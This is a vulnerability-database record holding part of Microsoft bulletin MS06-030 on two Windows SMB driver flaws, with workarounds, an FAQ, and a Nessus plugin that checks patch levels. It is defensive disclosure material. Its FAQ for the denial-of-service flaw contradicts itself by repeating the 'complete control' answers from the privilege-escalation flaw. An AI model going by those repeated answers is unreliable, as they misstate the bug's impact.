Elevation of Privilege Vulnerability - CVE-2006-2373:\r\n\u2022\t\r\n\r\nFor an attack to be successful an attacker must have valid logon credentials and be able to log on locally to exploit this vulnerability.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for SMB Driver Elevation of Privilege Vulnerability - CVE-2006-2373:\r\n\r\nMicrosoft has tested the following workarounds. Although these workarounds will not correct the underlying vulnerability, they help block known attack vectors. When a workaround reduces functionality, it is identified in the following section.\r\n\r\nNote The following steps require Administrator privileges. In order to block the known attack vectors both of the recommended workarounds must be performed. We recommend that you restart the computer after you apply the workaround.\r\n\u2022\t\r\n\r\nDisable the Workstation service\r\n\r\nDisabling the Workstation service will help protect the affected system from attempts to exploit this vulnerability. To disable the Workstation service, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nClick Start, and then click Control Panel. Alternatively, point to Settings, and then click Control Panel.\r\n\r\n2.\r\n\t\r\n\r\nDouble-click Administrative Tools.\r\n\r\n3.\r\n\t\r\n\r\nDouble-click Services.\r\n\r\n4.\r\n\t\r\n\r\nDouble-click Workstation.\r\n\r\n5.\r\n\t\r\n\r\nIn the Startup type list, click Disabled.\r\n\r\n6.\r\n\t\r\n\r\nClick Stop, and then click OK.\r\n\r\nYou can also stop and disable the Workstation service by using the following command at the command prompt:\r\n\r\nsc stop lanmanworkstation & sc config lanmanworkstation start= disabled\r\n\r\nImpact of Workaround: If you disable the Workstation service, clients will not be able to access SMB shares.\r\n\u2022\t\r\n\r\nDelete the MRxSmb driver registry entry\r\n\r\nDeleting the MRxSmb registry entry will help protect the affected system from attempts to exploit this vulnerability. To delete the MRxSmb key, follow these steps:\r\n\r\nNote Using Registry Editor incorrectly can cause serious problems that may require you to reinstall your operating system. Microsoft cannot guarantee that problems resulting from the incorrect use of Registry Editor can be solved. Use Registry Editor at your own risk. For information about how to edit the registry, view the "Changing Keys And Values" Help topic in Registry Editor (Regedit.exe) or view the "Add and Delete Information in the Registry" and "Edit Registry Data" Help topics in Regedt32.exe\r\n\r\n1.\r\n\t\r\n\r\nClick Start, click Run, type \u201cregedit" (without the quotation marks), and then click OK.\r\n\r\n2.\r\n\t\r\n\r\nNavigate to HKLM\System\CurrentControlSet\Services.\r\n\r\n3.\r\n\t\r\n\r\nRight click on the MRxSmb key and Export the key.\r\n\r\n4.\r\n\t\r\n\r\nRight click on the MRxSmb key and Delete the key.\r\n\r\nImpact of Workaround: If you delete the MRxSmb registry key, clients will not be able to access SMB shares.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for SMB Driver Elevation of Privilege Vulnerability - CVE-2006-2373:\r\n\r\nWhat is the scope of the vulnerability?\r\nThis is an elevation of privilege vulnerability. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\r\n\r\nWhat causes the vulnerability?\r\nThe vulnerability results because of the process that the affected operating systems use to validate certain SMB requests.\r\n\r\nWhat is SMB?\r\nServer Message Block (SMB), and its follow-on, Common Internet File System (CIFS), is the Internet Standard protocol that Windows uses to share files, printers, serial ports, and also to communicate between computers. To do this, SMB uses named pipes and mail slots. In a networked environment, servers make file systems and resources available to clients. Clients make SMB requests for resources. Servers make SMB responses. This is described as a client server, request-response protocol.\r\n\r\nDoes this vulnerability also affect CIFS?\r\nCommon Internet File System (CIFS) is an Internet Standard protocol. The vulnerability described here resides specifically in Microsoft's implementation of the protocol and not the protocol itself.\r\n\r\nWhat might an attacker use the vulnerability to do?\r\nAn attacker who successfully exploited this vulnerability could take complete control of the affected system.\r\n\r\nWho could exploit the vulnerability?\r\nTo try to exploit the vulnerability, an attacker must be able to log on locally to a system and run a program.\r\n\r\nHow could an attacker exploit the vulnerability?\r\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application that could exploit the vulnerability and gain complete control over the affected system.\r\n\r\nWhat systems are primarily at risk from the vulnerability?\r\nMicrosoft Windows 2000, Windows XP and Windows Server 2003 that allow users to logon interactively including systems that function as Terminal Servers are primarily at risk from this vulnerability.\r\n\r\nAre Windows 98, Windows 98 Second Edition or Windows Millennium Edition critically affected by this vulnerability?\r\nNo. Windows 98, Windows 98 Second Edition, and Windows Millennium Edition do not contain the affected component.\r\n\r\nCould the vulnerability be exploited over the Internet?\r\nNo. An attacker must be able to log on to the specific system that is targeted for attack. An attacker cannot load and run a program remotely by using this vulnerability.\r\n\r\nWhat does the update do?\r\nThe update addresses the vulnerability by modifying the way that the affected operating systems handle SMB related requests.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed?\r\nNo. Microsoft received information about this vulnerability through responsible disclosure. Microsoft had not received any information to indicate that this vulnerability had been publicly disclosed when this security bulletin was originally issued.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited?\r\nNo. Microsoft had not received any information to indicate that this vulnerability had been publicly used to attack customers and had not seen any examples of proof of concept code published when this security bulletin was originally issued.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nSMB Invalid Handle Vulnerability - CVE-2006-2374\r\n\r\nThere is denial of service vulnerability in Server Message Block (SMB) that could allow an attacker who successfully exploited this vulnerability to cause an affected system to stop responding.\r\n\t\r\nMitigating Factors for SMB Invalid Handle Vulnerability - CVE-2006-2374:\r\n\u2022\t\r\n\r\nFor an attack to be successful an attacker must have valid logon credentials and be able to log on locally to exploit this vulnerability.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for SMB Invalid Handle Vulnerability - CVE-2006-2374:\r\n\r\nMicrosoft has tested the following workarounds. Although these workarounds will not correct the underlying vulnerability, they help block known attack vectors. When a workaround reduces functionality, it is identified in the following section.\r\n\r\nNote The following steps require Administrator privileges. In order to block the known attack vectors both of the recommended workarounds must be performed. We recommend that you restart the computer after you apply this workaround.\r\n\u2022\t\r\n\r\nDisable the Workstation service\r\n\r\nDisabling the Workstation service will help protect the affected system from attempts to exploit this vulnerability. To disable the Workstation service, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nClick Start, and then click Control Panel. Alternatively, point to Settings, and then click Control Panel.\r\n\r\n2.\r\n\t\r\n\r\nDouble-click Administrative Tools.\r\n\r\n3.\r\n\t\r\n\r\nDouble-click Services.\r\n\r\n4.\r\n\t\r\n\r\nDouble-click Workstation.\r\n\r\n5.\r\n\t\r\n\r\nIn the Startup type list, click Disabled.\r\n\r\n6.\r\n\t\r\n\r\nClick Stop, and then click OK.\r\n\r\nYou can also stop and disable the Workstation service by using the following command at the command prompt:\r\n\r\nsc stop lanmanworkstation & sc config lanmanworkstation start= disabled\r\n\r\nImpact of Workaround: If you disable the Workstation service, clients will not be able to access SMB shares.\r\n\u2022\t\r\n\r\nDelete the MRxSmb driver registry entry\r\n\r\nDeleting the MRxSmb registry entry will help protect the affected system from attempts to exploit this vulnerability. To delete the MRxSmb key, follow these steps:\r\n\r\nNote Using Registry Editor incorrectly can cause serious problems that may require you to reinstall your operating system. Microsoft cannot guarantee that problems resulting from the incorrect use of Registry Editor can be solved. Use Registry Editor at your own risk. For information about how to edit the registry, view the "Changing Keys And Values" Help topic in Registry Editor (Regedit.exe) or view the "Add and Delete Information in the Registry" and "Edit Registry Data" Help topics in Regedt32.exe\r\n\r\n1.\r\n\t\r\n\r\nClick Start, click Run, type \u201cregedit" (without the quotation marks), and then click OK.\r\n\r\n2.\r\n\t\r\n\r\nNavigate to HKLM\System\CurrentControlSet\Services.\r\n\r\n3.\r\n\t\r\n\r\nRight click on the MRxSmb key and Export the key.\r\n\r\n4.\r\n\t\r\n\r\nRight click on the MRxSmb key and Delete the key.\r\n\r\nImpact of Workaround: If you delete the MRxSmb registry key, clients will not be able to access SMB shares.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for SMB Invalid Handle Vulnerability - CVE-2006-2374:\r\n\r\nWhat is the scope of the vulnerability?\r\nThis is a denial of service vulnerability. An attacker who exploited this vulnerability could cause the affected system to stop responding. During that time, the affected system cannot respond to requests. Note that the denial of service vulnerability would not allow an attacker to execute code or to elevate their user rights, but it could cause the affected system to stop responding.\r\n\r\nWhat causes the vulnerability?\r\nThe vulnerability results because of the process that the affected operating systems use to validate certain SMB requests.\r\n\r\nWhat is SMB?\r\nServer Message Block (SMB), and its follow-on, Common Internet File System (CIFS), is the Internet Standard protocol that Windows uses to share files, printers, serial ports, and also to communicate between computers. To do this, SMB uses named pipes and mail slots. In a networked environment, servers make file systems and resources available to clients. Clients make SMB requests for resources. Servers make SMB responses. This is described as a client server, request-response protocol.\r\n\r\nDoes this vulnerability also affect CIFS?\r\nCommon Internet File System (CIFS) is an Internet Standard protocol. The vulnerability described here resides specifically in Microsoft's implementation of the protocol and not the protocol itself.\r\n\r\nWhat might an attacker use the vulnerability to do?\r\nAn attacker who successfully exploited this vulnerability could take complete control of the affected system.\r\n\r\nWho could exploit the vulnerability?\r\nTo try to exploit the vulnerability, an attacker must be able to log on locally to a system and run a program.\r\n\r\nHow could an attacker exploit the vulnerability?\r\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application that could exploit the vulnerability and gain complete control over the affected system.\r\n\r\nWhat systems are primarily at risk from the vulnerability?\r\nMicrosoft Windows 2000, Windows XP and Windows Server 2003 that allow users to logon interactively including systems that function as Terminal Servers are primarily at risk from this vulnerability.\r\n\r\nAre Windows 98, Windows 98 Second Edition or Windows Millennium Edition critically affected by this vulnerability?\r\nNo. Windows 98, Windows 98 Second Edition, and Windows Millennium Edition do not contain the affected component.\r\n\r\nCould the vulnerability be exploited over the Internet?\r\nNo. An attacker must be able to log on to the specific system that is targeted for attack. An attacker cannot load and run a program remotely by using this vulnerability.\r\n\r\nWhat does the update do?\r\nThe update addresses the vulnerability by modifying the way that the affected operating systems handle SMB related requests.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed?\r\nNo. Microsoft received information about this vulnerability through responsible disclosure. Microsoft had not received any information to indicate that this vulnerability had been publicly disclosed when this security bulletin was originally issued.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited?\r\nNo. Microsoft had not received any information to indicate that this vulnerability had been publicly used to attack customers and had not seen any examples of proof of concept code published when this security bulletin was originally issued.\r\n\r\nAcknowledgments\r\n\r\nMicrosoft thanks the following for working with us to help protect customers:\r\n\u2022\t\r\n\r\niDEFENSE for reporting the SMB Elevation of Privilege Vulnerability - CVE-2006-2373\r\n\u2022\t\r\n\r\niDEFENSE for reporting the SMB Invalid Handle Vulnerability - CVE-2006-2374\r\n\r\nRevisions: \r\n\u2022\t\r\n\r\nV1.0 (June 13, 2006): Bulletin published.", "modified": "2006-06-13T00:00:00", "published": "2006-06-13T00:00:00", "id": "SECURITYVULNS:DOC:13142", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:13142", "title": "Microsoft Security Bulletin MS06-030 Vulnerability in Server Message Block Could Allow Elevation of Privilege (914389)", "type": "securityvulns", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "nessus": [{"lastseen": "2019-12-13T09:17:54", "bulletinFamily": "scanner", "description": "The remote version of Windows contains a version of SMB (Server\nMessage Block) protocol that is affected by several vulnerabilities.\n\nAn attacker may exploit these flaws to elevate his privileges and gain\ncontrol of the remote host.", "modified": "2019-12-02T00:00:00", "id": "SMB_NT_MS06-030.NASL", "href": "https://www.tenable.com/plugins/nessus/21692", "published": "2006-06-13T00:00:00", "title": "MS06-030: Vulnerability in Server Message Block Could Allow Elevation of Privilege (914389)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(21692);\n script_version(\"1.30\");\n script_cvs_date(\"Date: 2018/11/15 20:50:30\");\n\n script_cve_id(\"CVE-2006-2373\", \"CVE-2006-2374\");\n script_bugtraq_id(18356, 18357);\n script_xref(name:\"MSFT\", value:\"MS06-030\");\n script_xref(name:\"MSKB\", value:\"914389\");\n\n script_name(english:\"MS06-030: Vulnerability in Server Message Block Could Allow Elevation of Privilege (914389)\");\n script_summary(english:\"Determines the presence of update 914389\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"It is possible to execute code on the remote host.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote version of Windows contains a version of SMB (Server\nMessage Block) protocol that is affected by several vulnerabilities.\n\nAn attacker may exploit these flaws to elevate his privileges and gain\ncontrol of the remote host.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2006/ms06-030\");\n script_set_attribute(attribute:\"solution\", value:\n\"Microsoft has released a set of patches for Windows 2000, XP and\n2003.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2006/06/13\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2006/06/13\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2006/06/13\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(english:\"This script is Copyright (C) 2006-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_dependencies(\"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, 'Host/patch_management_checks');\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"misc_func.inc\");\n\nget_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");\n\nbulletin = 'MS06-030';\nkb = '914389';\n\nkbs = make_list(kb);\nif (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\nget_kb_item_or_exit(\"SMB/WindowsVersion\", exit_code:1);\n\nif (hotfix_check_sp_range(win2k:'4,5', xp:'1,2', win2003:'0,1') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nrootfile = hotfix_get_systemroot();\nif (!rootfile) exit(1, \"Failed to get the system root.\");\n\nshare = hotfix_path2share(path:rootfile);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif ( hotfix_is_vulnerable(os:\"5.2\", sp:0, file:\"Mrxsmb.sys\", version:\"5.2.3790.529\", dir:\"\\system32\\drivers\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.2\", sp:1, file:\"Mrxsmb.sys\", version:\"5.2.3790.2697\", dir:\"\\system32\\drivers\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.1\", sp:1, file:\"Mrxsmb.sys\", version:\"5.1.2600.1836\", dir:\"\\system32\\drivers\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.1\", sp:2, file:\"Mrxsmb.sys\", version:\"5.1.2600.2902\", dir:\"\\system32\\drivers\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.0\", file:\"Mrxsmb.sys\", version:\"5.0.2195.7097\", dir:\"\\system32\\drivers\", bulletin:bulletin, kb:kb) )\n{\n set_kb_item(name:\"SMB/Missing/\"+bulletin, value:TRUE);\n hotfix_security_hole();\n\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, 'affected');\n}\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}]}
